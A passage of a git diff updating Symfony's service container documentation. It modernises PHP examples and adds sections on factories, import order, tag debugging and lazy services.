+:class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface` +and place the compiler pass code inside the ``process()`` method of the main +bundle class:: + + // src/MyBundle/MyBundle.php + namespace App\MyBundle; + + use App\DependencyInjection\Compiler\CustomPass; + use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Component\HttpKernel\Bundle\AbstractBundle; + + class MyBundle extends AbstractBundle implements CompilerPassInterface + { + public function process(ContainerBuilder $container): void { // in this method you can manipulate the service container: // for example, changing some container service: @@ -65,23 +96,19 @@ and process the services inside the ``process()`` method:: } } -Working with Compiler Passes in Bundles ---------------------------------------- - -:doc:`Bundles </bundles>` can define compiler passes in the ``build()`` method of -the main bundle class (this is not needed when implementing the ``process()`` -method in the extension):: +Alternatively, when using :ref:`separate compiler pass classes <components-di-separate-compiler-passes>`, +bundles can enable them in the ``build()`` method of their main bundle class:: // src/MyBundle/MyBundle.php namespace App\MyBundle; use App\DependencyInjection\Compiler\CustomPass; use Symfony\Component\DependencyInjection\ContainerBuilder; - use Symfony\Component\HttpKernel\Bundle\Bundle; + use Symfony\Component\HttpKernel\Bundle\AbstractBundle; - class MyBundle extends Bundle + class MyBundle extends AbstractBundle { - public function build(ContainerBuilder $container) + public function build(ContainerBuilder $container): void { parent::build($container); @@ -90,7 +117,7 @@ method in the extension):: } If you are using custom :doc:`service tags </service_container/tags>` in a -bundle then by convention, tag names consist of the name of the bundle -(lowercase, underscores as separators), followed by a dot, and finally the -"real" name. For example, if you want to introduce some sort of "transport" tag -in your AcmeMailerBundle, you should call it ``acme_mailer.transport``. +bundle, the convention is to format tag names by starting with the bundle's name +in lowercase (using underscores as separators), followed by a dot, and finally +the specific tag name. For example, to introduce a "transport" tag in your +AcmeMailerBundle, you would name it ``acme_mailer.transport``. diff --git a/service_container/configurators.rst b/service_container/configurators.rst index 6e76784a284..7817a383761 100644 --- a/service_container/configurators.rst +++ b/service_container/configurators.rst @@ -1,6 +1,3 @@ -.. index:: - single: DependencyInjection; Service configurators - How to Configure a Service with a Configurator ============================================== @@ -26,9 +23,9 @@ You start defining a ``NewsletterManager`` class like this:: class NewsletterManager implements EmailFormatterAwareInterface { - private $enabledFormatters; + private array $enabledFormatters; - public function setEnabledFormatters(array $enabledFormatters) + public function setEnabledFormatters(array $enabledFormatters): void { $this->enabledFormatters = $enabledFormatters; } @@ -43,9 +40,9 @@ and also a ``GreetingCardManager`` class:: class GreetingCardManager implements EmailFormatterAwareInterface { - private $enabledFormatters; + private array $enabledFormatters; - public function setEnabledFormatters(array $enabledFormatters) + public function setEnabledFormatters(array $enabledFormatters): void { $this->enabledFormatters = $enabledFormatters; } @@ -65,7 +62,7 @@ in the application:: { // ... - public function getEnabledFormatters() + public function getEnabledFormatters(): array { // code to configure which formatters to use $enabledFormatters = [...]; @@ -85,14 +82,12 @@ to create a configurator class to configure these instances:: class EmailConfigurator { - private $formatterManager; - - public function __construct(EmailFormatterManager $formatterManager) - { - $this->formatterManager = $formatterManager; + public function __construct( + private EmailFormatterManager $formatterManager, + ) { } - public function configure(EmailFormatterAwareInterface $emailManager) + public function configure(EmailFormatterAwareInterface $emailManager): void { $emailManager->setEnabledFormatters( $this->formatterManager->getEnabledFormatters() @@ -172,19 +167,18 @@ all the classes are already loaded as services. All you need to do is specify th use App\Mail\GreetingCardManager; use App\Mail\NewsletterManager; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); // Registers all 4 classes as services, including App\Mail\EmailConfigurator $services->load('App\\', '../src/*'); // override the services to set the configurator - // In versions earlier to Symfony 5.1 the service() function was called ref() $services->set(NewsletterManager::class) - ->configurator(service(EmailConfigurator::class), 'configure'); + ->configurator([service(EmailConfigurator::class), 'configure']); $services->set(GreetingCardManager::class) - ->configurator(service(EmailConfigurator::class), 'configure'); + ->configurator([service(EmailConfigurator::class), 'configure']); }; .. _configurators-invokable: @@ -242,8 +236,8 @@ Services can be configured via invokable configurators (replacing the use App\Mail\GreetingCardManager; use App\Mail\NewsletterManager; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); // Registers all 4 classes as services, including App\Mail\EmailConfigurator $services->load('App\\', '../src/*'); diff --git a/service_container/debug.rst b/service_container/debug.rst index 635bbdfa9ae..9e3e28a5343 100644 --- a/service_container/debug.rst +++ b/service_container/debug.rst @@ -1,7 +1,3 @@ -.. index:: - single: DependencyInjection; Debug - single: Service Container; Debug - How to Debug the Service Container & List Services ================================================== @@ -21,6 +17,31 @@ To see a list of all of the available types that can be used for autowiring, run $ php bin/console debug:autowiring +Debugging Service Tags +---------------------- + +Run the following command to find out what services are :doc:`tagged </service_container/tags>` +with a specific tag: + +.. code-block:: terminal + + $ php bin/console debug:container --tag=kernel.event_listener + +Partial search is also available: + +.. code-block:: terminal + + $ php bin/console debug:container --tag=kernel + + Select one of the following tags to display its information: + [0] kernel.event_listener + [1] kernel.event_subscriber + [2] kernel.reset + [3] kernel.cache_warmer + [4] kernel.locale_aware + [5] kernel.fragment_renderer + [6] kernel.cache_clearer + Detailed Info about a Single Service ------------------------------------ @@ -29,7 +50,10 @@ its id: .. code-block:: terminal - $ php bin/console debug:container 'App\Service\Mailer' + $ php bin/console debug:container App\Service\Mailer + +.. deprecated:: 7.3 - # to show the service arguments: - $ php bin/console debug:container 'App\Service\Mailer' --show-arguments + Starting in Symfony 7.3, this command displays the service arguments by default. + In earlier Symfony versions, you needed to use the ``--show-arguments`` option, + which is now deprecated. diff --git a/service_container/definitions.rst b/service_container/definitions.rst index f90a185e1c5..a2a50591668 100644 --- a/service_container/definitions.rst +++ b/service_container/definitions.rst @@ -1,6 +1,3 @@ -.. index:: - single: DependencyInjection; Service definitions - How to work with Service Definition Objects =========================================== @@ -89,13 +86,13 @@ fetched from the container:: // gets a specific argument $firstArgument = $definition->getArgument(0); - - // adds a new argument with the name of the argument - // $argumentName = the name of the argument in the constructor - $argument = $definition->setArgument('$argumentName', $argumentValue); + + // adds a new named argument + // '$argumentName' = the name of the argument in the constructor, including the '$' symbol + $definition = $definition->setArgument('$argumentName', $argumentValue); // adds a new argument - $definition->addArgument($argument); + $definition->addArgument($argumentValue); // replaces argument on a specific index (0 = first argument) $definition->replaceArgument($index, $argument); @@ -103,7 +100,7 @@ fetched from the container:: // replaces all previously configured arguments with the passed array $definition->setArguments($arguments); -.. caution:: +.. warning:: Don't use ``get()`` to get a service that you want to inject as constructor argument, the service is not yet available. Instead, use a diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst index 9ba64eee074..41c538db468 100644 --- a/service_container/expression_language.rst +++ b/service_container/expression_language.rst @@ -1,9 +1,3 @@ -.. index:: - single: DependencyInjection; ExpressionLanguage - single: DependencyInjection; Expressions - single: Service Container; ExpressionLanguage - single: Service Container; Expressions - How to Inject Values Based on Complex Expressions ================================================= @@ -61,23 +55,26 @@ to another service: ``App\Mailer``. One way to do this is with an expression: use App\Mail\MailerConfiguration; use App\Mailer; - return function(ContainerConfigurator $configurator) { + return function(ContainerConfigurator $container): void { // ... $services->set(MailerConfiguration::class); $services->set(Mailer::class) - ->args([expr("service('App\\Mail\\MailerConfiguration').getMailerMethod()")]); + // because of the escaping applied by PHP, you must add 4 backslashes for each original backslash + ->args([expr("service('App\\\\Mail\\\\MailerConfiguration').getMailerMethod()")]); }; -To learn more about the expression language syntax, see :doc:`/components/expression_language/syntax`. +Learn more about the :doc:`expression language syntax </reference/formats/expression_language>`. -In this context, you have access to 2 functions: +In this context, you have access to 3 functions: ``service`` Returns a given service (see the example above). ``parameter`` Returns a specific parameter value (syntax is like ``service``). +``env`` + Returns the value of an env variable. You also have access to the :class:`Symfony\\Component\\DependencyInjection\\Container` via a ``container`` variable. Here's another example: @@ -115,12 +112,13 @@ via a ``container`` variable. Here's another example: use App\Mailer; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(Mailer::class) ->args([expr("container.hasParameter('some_param') ? parameter('some_param') : 'default_value'")]); }; Expressions can be used in ``arguments``, ``properties``, as arguments with -``configurator`` and as arguments to ``calls`` (method calls). +``configurator``, as arguments to ``calls`` (method calls) and in +``factories`` (:doc:`service factories </service_container/factories>`). diff --git a/service_container/factories.rst b/service_container/factories.rst index 515e93f64b5..9864287d57a 100644 --- a/service_container/factories.rst +++ b/service_container/factories.rst @@ -1,6 +1,3 @@ -.. index:: - single: DependencyInjection; Factories - Using a Factory to Create Services ================================== @@ -19,14 +16,14 @@ Static Factories Suppose you have a factory that configures and returns a new ``NewsletterManager`` object by calling the static ``createNewsletterManager()`` method:: - // src/Email\NewsletterManagerStaticFactory.php + // src/Email/NewsletterManagerStaticFactory.php namespace App\Email; // ... class NewsletterManagerStaticFactory { - public static function createNewsletterManager() + public static function createNewsletterManager(): NewsletterManager { $newsletterManager = new NewsletterManager(); @@ -65,12 +62,6 @@ create its object: <service id="App\Email\NewsletterManager"> <!-- the first argument is the class and the second argument is the static method --> <factory class="App\Email\NewsletterManagerStaticFactory" method="createNewsletterManager"/> - - <!-- if the factory class is the same as the service class, you can omit - the 'class' attribute and define just the 'method' attribute: - - <factory method="createNewsletterManager"/> - --> </service> </services> </container> @@ -83,15 +74,14 @@ create its object: use App\Email\NewsletterManager; use App\Email\NewsletterManagerStaticFactory; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(NewsletterManager::class) // the first argument is the class and the second argument is the static method ->factory([NewsletterManagerStaticFactory::class, 'createNewsletterManager']); }; - .. note:: When using a factory to create services, the value chosen for class @@ -100,6 +90,146 @@ create its object: the configured class name may be used by compiler passes and therefore should be set to a sensible value. +Using the Class as Factory Itself +--------------------------------- + +When the static factory method is on the same class as the created instance, +the class name can be omitted from the factory declaration. +Let's suppose the ``NewsletterManager`` class has a ``create()`` method that needs +to be called to create the object and needs a sender:: + + // src/Email/NewsletterManager.php + namespace App\Email; + + // ... + + class NewsletterManager + { + private string $sender; + + public static function create(string $sender): self + { + $newsletterManager = new self(); + $newsletterManager->sender = $sender; + // ... + + return $newsletterManager; + } + } + +You can omit the class on the factory declaration: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + + App\Email\NewsletterManager: + factory: [null, 'create'] + arguments: + $sender: 'fabien@symfony.com' + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <service id="App\Email\NewsletterManager"> + <factory method="create"/> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use App\Email\NewsletterManager; + + return function(ContainerConfigurator $container): void { + $services = $container->services(); + + // Note that we are not using service() + $services->set(NewsletterManager::class) + ->factory([null, 'create']); + }; + +It is also possible to use the ``constructor`` option, instead of passing ``null`` +as the factory class: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/Email/NewsletterManager.php + namespace App\Email; + + use Symfony\Component\DependencyInjection\Attribute\Autoconfigure; + + #[Autoconfigure(bind: ['$sender' => 'fabien@symfony.com'], constructor: 'create')] + class NewsletterManager + { + private string $sender; + + public static function create(string $sender): self + { + $newsletterManager = new self(); + $newsletterManager->sender = $sender; + // ... + + return $newsletterManager; + } + } + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + + App\Email\NewsletterManager: + constructor: 'create' + arguments: + $sender: 'fabien@symfony.com' + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <service id="App\Email\NewsletterManager" constructor="create"> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use App\Email\NewsletterManager; + + return function(ContainerConfigurator $containerConfigurator) { + $services = $containerConfigurator->services(); + + $services->set(NewsletterManager::class) + ->constructor('create'); + }; + Non-Static Factories -------------------- @@ -154,8 +284,8 @@ Configuration of the service container then looks like this: use App\Email\NewsletterManager; use App\Email\NewsletterManagerFactory; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); // first, create a service for the factory $services->set(NewsletterManagerFactory::class); @@ -163,7 +293,6 @@ Configuration of the service container then looks like this: // second, use the factory service as the first argument of the 'factory' // method and the factory method as the second argument $services->set(NewsletterManager::class) - // In versions earlier to Symfony 5.1 the service() function was called ref() ->factory([service(NewsletterManagerFactory::class), 'createNewsletterManager']); }; @@ -181,7 +310,7 @@ factory service can be used as a callback:: // ... class InvokableNewsletterManagerFactory { - public function __invoke() + public function __invoke(): NewsletterManager { $newsletterManager = new NewsletterManager(); @@ -204,7 +333,7 @@ method name: App\Email\NewsletterManager: class: App\Email\NewsletterManager - factory: '@App\Email\NewsletterManagerFactory' + factory: '@App\Email\InvokableNewsletterManagerFactory' .. code-block:: xml @@ -220,7 +349,7 @@ method name: <service id="App\Email\NewsletterManager" class="App\Email\NewsletterManager"> - <factory service="App\Email\NewsletterManagerFactory"/> + <factory service="App\Email\InvokableNewsletterManagerFactory"/> </service> </services> </container> @@ -233,11 +362,83 @@ method name: use App\Email\NewsletterManager; use App\Email\NewsletterManagerFactory; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(NewsletterManager::class) - ->factory(service(NewsletterManagerFactory::class)); + ->factory(service(InvokableNewsletterManagerFactory::class)); + }; + +Using Expressions in Service Factories +-------------------------------------- + +Instead of using PHP classes as a factory, you can also use +:doc:`expressions </service_container/expression_language>`. This allows you to +e.g. change the service based on a parameter: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + App\Email\NewsletterManagerInterface: + # use the "tracable_newsletter" service when debug is enabled, "newsletter" otherwise. + # "@=" indicates that this is an expression + factory: '@=parameter("kernel.debug") ? service("tracable_newsletter") : service("newsletter")' + + # you can use the arg() function to retrieve an argument from the definition + App\Email\NewsletterManagerInterface: + factory: '@=arg(0).createNewsletterManager() ?: service("default_newsletter_manager")' + arguments: + - '@App\Email\NewsletterManagerFactory' + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <service id="App\Email\NewsletterManagerInterface"> + <!-- use the "tracable_newsletter" service when debug is enabled, "newsletter" otherwise --> + <factory expression="parameter('kernel.debug') ? service('tracable_newsletter') : service('newsletter')"/> + </service> + + <!-- you can use the arg() function to retrieve an argument from the definition --> + <service id="App\Email\NewsletterManagerInterface"> + <factory expression="arg(0).createNewsletterManager() ?: service('default_newsletter_manager')"/> + <argument type="service" id="App\Email\NewsletterManagerFactory"/> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use App\Email\NewsletterManagerFactory; + use App\Email\NewsletterManagerInterface; + + return function(ContainerConfigurator $containerConfigurator) { + $services = $containerConfigurator->services(); + + $services->set(NewsletterManagerInterface::class) + // use the "tracable_newsletter" service when debug is enabled, "newsletter" otherwise. + ->factory(expr("parameter('kernel.debug') ? service('tracable_newsletter') : service('newsletter')")) + ; + + // you can use the arg() function to retrieve an argument from the definition + $services->set(NewsletterManagerInterface::class) + ->factory(expr("arg(0).createNewsletterManager() ?: service('default_newsletter_manager')")) + ->args([ + service(NewsletterManagerFactory::class), + ]) + ; }; .. _factories-passing-arguments-factory-method: @@ -293,8 +494,8 @@ previous examples takes the ``templating`` service as an argument: use App\Email\NewsletterManager; use App\Email\NewsletterManagerFactory; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(NewsletterManager::class) ->factory([service(NewsletterManagerFactory::class), 'createNewsletterManager']) diff --git a/service_container/import.rst b/service_container/import.rst index f38c2a33525..47af34d3a34 100644 --- a/service_container/import.rst +++ b/service_container/import.rst @@ -1,7 +1,3 @@ -.. index:: - single: DependencyInjection; Importing Resources - single: Service Container; Importing Resources - How to Import Configuration Files/Resources =========================================== @@ -22,9 +18,6 @@ directive. The second method, using dependency injection extensions, is used by third-party bundles to load the configuration. Read on to learn more about both methods. -.. index:: - single: Service Container; Imports - .. _service-container-imports-directive: Importing Configuration with ``imports`` @@ -80,7 +73,8 @@ a relative or absolute path to the imported file: # config/services.yaml imports: - { resource: services/mailer.yaml } - + # If you want to import a whole directory: + - { resource: services/ } services: _defaults: autowire: true @@ -88,7 +82,6 @@ a relative or absolute path to the imported file: App\: resource: '../src/*' - exclude: '../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}' # ... @@ -103,13 +96,14 @@ a relative or absolute path to the imported file: <imports> <import resource="services/mailer.xml"/> + <!-- If you want to import a whole directory: --> + <import resource="services/"/> </imports> <services> <defaults autowire="true" autoconfigure="true"/> - <prototype namespace="App\" resource="../src/*" - exclude="../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}"/> + <prototype namespace="App\" resource="../src/*"/> <!-- ... --> </services> @@ -120,35 +114,314 @@ a relative or absolute path to the imported file: // config/services.php namespace Symfony\Component\DependencyInjection\Loader\Configurator; - return function(ContainerConfigurator $configurator) { - $configurator->import('services/mailer.php'); + return function(ContainerConfigurator $container): void { + $container->import('services/mailer.php'); + // If you want to import a whole directory: + $container->import('services/'); - $services = $configurator->services() + $services = $container->services() + ->defaults() + ->autowire() + ->autoconfigure() + ; + + $services->load('App\\', '../src/*'); + }; + +When loading a configuration file, Symfony first processes all imported files in +the order they are listed under the ``imports`` key. After all imports are processed, +it then processes the parameters and services defined directly in the current file. +In practice, this means that **later definitions override earlier ones**. + +For example, if you use the :ref:`default services.yaml configuration <service-container-services-load-example>` +as in the above example, your main ``config/services.yaml`` file uses the ``App\`` +namespace to auto-discover services and loads them after all imported files. +If an imported file (e.g. ``config/services/mailer.yaml``) defines a service that +is also auto-discovered, the definition from ``services.yaml`` will take precedence. + +To make sure your specific service definitions are not overridden by auto-discovery, +consider one of the following strategies: + +#. :ref:`Exclude services from auto-discovery <import-exclude-services-from-auto-discovery>` +#. :ref:`Override services in the same file <import-override-services-in-the-same-file>` +#. :ref:`Control import order <import-control-import-order>` + +.. _import-exclude-services-from-auto-discovery: + +**Exclude services from auto-discovery** + +Adjust the ``App\`` definition to use the ``exclude`` option. This prevents Symfony +from auto-registering classes that are defined manually elsewhere: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + imports: + - { resource: services/mailer.yaml } + # ... other imports + + services: + _defaults: + autowire: true + autoconfigure: true + + App\: + resource: '../src/*' + exclude: + - '../src/Mailer/' + - '../src/SpecificClass.php' + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <imports> + <import resource="services/mailer.xml"/> + <!-- If you want to import a whole directory: --> + <import resource="services/"/> + </imports> + + <services> + <defaults autowire="true" autoconfigure="true"/> + + <prototype namespace="App\" resource="../src/*"> + <exclude>../src/Mailer/</exclude> + <exclude>../src/SpecificClass.php</exclude> + </prototype> + + <!-- ... --> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + return function(ContainerConfigurator $container): void { + $container->import('services/mailer.php'); + // If you want to import a whole directory: + $container->import('services/'); + + $services = $container->services() ->defaults() ->autowire() ->autoconfigure() ; $services->load('App\\', '../src/*') - ->exclude('../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}'); + ->exclude([ + '../src/Mailer/', + '../src/SpecificClass.php', + ]); }; -When loading a configuration file, Symfony loads first the imported files and -then it processes the parameters and services defined in the file. If you use the -:ref:`default services.yaml configuration <service-container-services-load-example>` -as in the above example, the ``App\`` definition creates services for classes -found in ``../src/*``. If your imported file defines services for those classes -too, they will be overridden. +.. _import-override-services-in-the-same-file: -A possible solution for this is to add the classes and/or directories of the -imported files in the ``exclude`` option of the ``App\`` definition. Another -solution is to not use imports and add the service definitions in the same file, -but after the ``App\`` definition to override it. +**Override services in the same file** -.. include:: /components/dependency_injection/_imports-parameters-note.rst.inc +You can define specific services after the ``App\`` auto-discovery block in the +same file. These later definitions will override the auto-registered ones: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + _defaults: + autowire: true + autoconfigure: true + + App\: + resource: '../src/*' + + App\Mailer\MyMailer: + arguments: ['%env(MAILER_DSN)%'] + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <imports> + <import resource="services/mailer.xml"/> + <!-- If you want to import a whole directory: --> + <import resource="services/"/> + </imports> + + <services> + <defaults autowire="true" autoconfigure="true"/> -.. index:: - single: Service Container; Extension configuration + <prototype namespace="App\" resource="../src/*"/> + + <service id="App\Mailer\MyMailer"> + <argument>%env(MAILER_DSN)%</argument> + </service> + + <!-- ... --> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + return function(ContainerConfigurator $container): void { + $services = $container->services() + ->defaults() + ->autowire() + ->autoconfigure(); + + $services->load('App\\', '../src/*'); + + $services->set(App\Mailer\MyMailer::class) + ->arg(0, '%env(MAILER_DSN)%'); + }; + +.. _import-control-import-order: + +**Control import order** + +Move the ``App\`` auto-discovery config to a separate file and import it +before more specific service files. This way, specific service definitions +can override the auto-discovered ones. + +.. configuration-block:: + + .. code-block:: yaml + + # config/services/autodiscovery.yaml + services: + _defaults: + autowire: true + autoconfigure: true + + App\: + resource: '../../src/*' + exclude: + - '../../src/Mailer/' + + # config/services/mailer.yaml + services: + App\Mailer\SpecificMailer: + # ... custom configuration + + # config/services.yaml + imports: + - { resource: services/autodiscovery.yaml } + - { resource: services/mailer.yaml } + - { resource: services/ } + + services: + # definitions here override anything from the imports above + # consider keeping most definitions inside imported files + + .. code-block:: xml + + <!-- config/services/autodiscovery.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <defaults autowire="true" autoconfigure="true"/> + + <prototype namespace="App\" resource="../../src/*"> + <exclude>../../src/Mailer/</exclude> + </prototype> + </services> + </container> + + <!-- config/services/mailer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <service id="App\Mailer\SpecificMailer"> + <!-- ... custom configuration --> + </service> + </services> + </container> + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <imports> + <import resource="services/autodiscovery.xml"/> + <import resource="services/mailer.xml"/> + <import resource="services/"/> + </imports> + + <services> + <!-- definitions here override anything from the imports above --> + <!-- consider keeping most definitions inside imported files --> + </services> + </container> + + .. code-block:: php + + // config/services/autodiscovery.php + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + + return function (ContainerConfigurator $container): void { + $services = $container->services() + ->defaults() + ->autowire() + ->autoconfigure(); + + $services->load('App\\', '../../src/*') + ->exclude([ + '../../src/Mailer/', + ]); + }; + + // config/services/mailer.php + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + + return function (ContainerConfigurator $container): void { + $services = $container->services(); + + $services->set(App\Mailer\SpecificMailer::class); + // Add any custom configuration here if needed + }; + + // config/services.php + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + + return function (ContainerConfigurator $container): void { + $container->import('services/autodiscovery.php'); + $container->import('services/mailer.php'); + $container->import('services/'); + + $services = $container->services(); + + // definitions here override anything from the imports above + // consider keeping most definitions inside imported files + }; + +.. include:: /components/dependency_injection/_imports-parameters-note.rst.inc .. _service-container-extension-configuration: diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst index e4723faa610..f56458b4c20 100644 --- a/service_container/injection_types.rst +++ b/service_container/injection_types.rst @@ -1,6 +1,3 @@ -.. index:: - single: DependencyInjection; Injection types - Types of Injection ================== @@ -25,11 +22,9 @@ the dependency:: // ... class NewsletterManager { - private $mailer; - - public function __construct(MailerInterface $mailer) - { - $this->mailer = $mailer; + public function __construct( + private MailerInterface $mailer, + ) { } // ... @@ -74,11 +69,10 @@ service container configuration: use App\Mail\NewsletterManager; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(NewsletterManager::class) - // In versions earlier to Symfony 5.1 the service() function was called ref() ->args(service('mailer')); }; @@ -117,16 +111,17 @@ by cloning the original service, this approach allows you to make a service immu // ... use Symfony\Component\Mailer\MailerInterface; + use Symfony\Contracts\Service\Attribute\Required; class NewsletterManager { - private $mailer; + private MailerInterface $mailer; /** - * @required * @return static */ - public function withMailer(MailerInterface $mailer) + #[Required] + public function withMailer(MailerInterface $mailer): self { $new = clone $this; $new->mailer = $mailer; @@ -185,14 +180,15 @@ In order to use this type of injection, don't forget to configure it: .. note:: If you decide to use autowiring, this type of injection requires - that you add a ``@return static`` docblock in order for the container - to be capable of registering the method. + that you add a ``@return static`` docblock or the ``static`` return + type in order for the container to be capable of registering + the method. This approach is useful if you need to configure your service according to your needs, so, here's the advantages of immutable-setters: * Immutable setters works with optional dependencies, this way, if you don't need - a dependency, the setter don't need to be called. + a dependency, the setter doesn't need to be called. * Like the constructor injection, using immutable setters force the dependency to stay the same during the lifetime of a service. @@ -220,16 +216,16 @@ that accepts the dependency:: // src/Mail/NewsletterManager.php namespace App\Mail; - + + use Symfony\Contracts\Service\Attribute\Required; + // ... class NewsletterManager { - private $mailer; + private MailerInterface $mailer; - /** - * @required - */ - public function setMailer(MailerInterface $mailer) + #[Required] + public function setMailer(MailerInterface $mailer): void { $this->mailer = $mailer; } @@ -277,8 +273,8 @@ that accepts the dependency:: use App\Mail\NewsletterManager; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(NewsletterManager::class) ->call('setMailer', [service('mailer')]); @@ -316,7 +312,7 @@ Another possibility is setting public fields of the class directly:: // ... class NewsletterManager { - public $mailer; + public MailerInterface $mailer; // ... } @@ -359,23 +355,19 @@ Another possibility is setting public fields of the class directly:: use App\Mail\NewsletterManager; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set('app.newsletter_manager', NewsletterManager::class) ->property('mailer', service('mailer')); }; There are mainly only disadvantages to using property injection, it is similar -to setter injection but with these additional important problems: +to setter injection but with this additional important problem: * You cannot control when the dependency is set at all, it can be changed at any point in the object's lifetime. -* You cannot use type hinting so you cannot be sure what dependency is injected - except by writing into the class code to explicitly test the class instance - before using it. - But, it is useful to know that this can be done with the service container, especially if you are working with code that is out of your control, such as in a third party library, which uses public properties for its dependencies. diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst index 936316bb029..abb3c2cca7f 100644 --- a/service_container/lazy_services.rst +++ b/service_container/lazy_services.rst @@ -1,12 +1,10 @@ -.. index:: - single: Dependency Injection; Lazy Services - Lazy Services ============= .. seealso:: - Another way to inject services lazily is via a :doc:`service subscriber </service_container/service_subscribers_locators>`. + Other ways to inject services lazily are via a :doc:`service closure </service_container/service_closures>` or + :doc:`service subscriber </service_container/service_subscribers_locators>`. Why Lazy Services? ------------------ @@ -23,19 +21,12 @@ Configuring lazy services is one answer to this. With a lazy service, a like the ``mailer``, except that the ``mailer`` isn't actually instantiated until you interact with the proxy in some way. -.. caution:: - - Lazy services do not support `final`_ classes. - -Installation ------------- - -In order to use the lazy service instantiation, you will need to install the -``symfony/proxy-manager-bridge`` package: +.. warning:: -.. code-block:: terminal + Lazy services do not support `final`_ or ``readonly`` classes, but you can use + `Interface Proxifying`_ to work around this limitation. - $ composer require symfony/proxy-manager-bridge +.. _lazy-services_configuration: Configuration ------------- @@ -72,39 +63,172 @@ You can mark the service as ``lazy`` by manipulating its definition: use App\Twig\AppExtension; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(AppExtension::class)->lazy(); }; 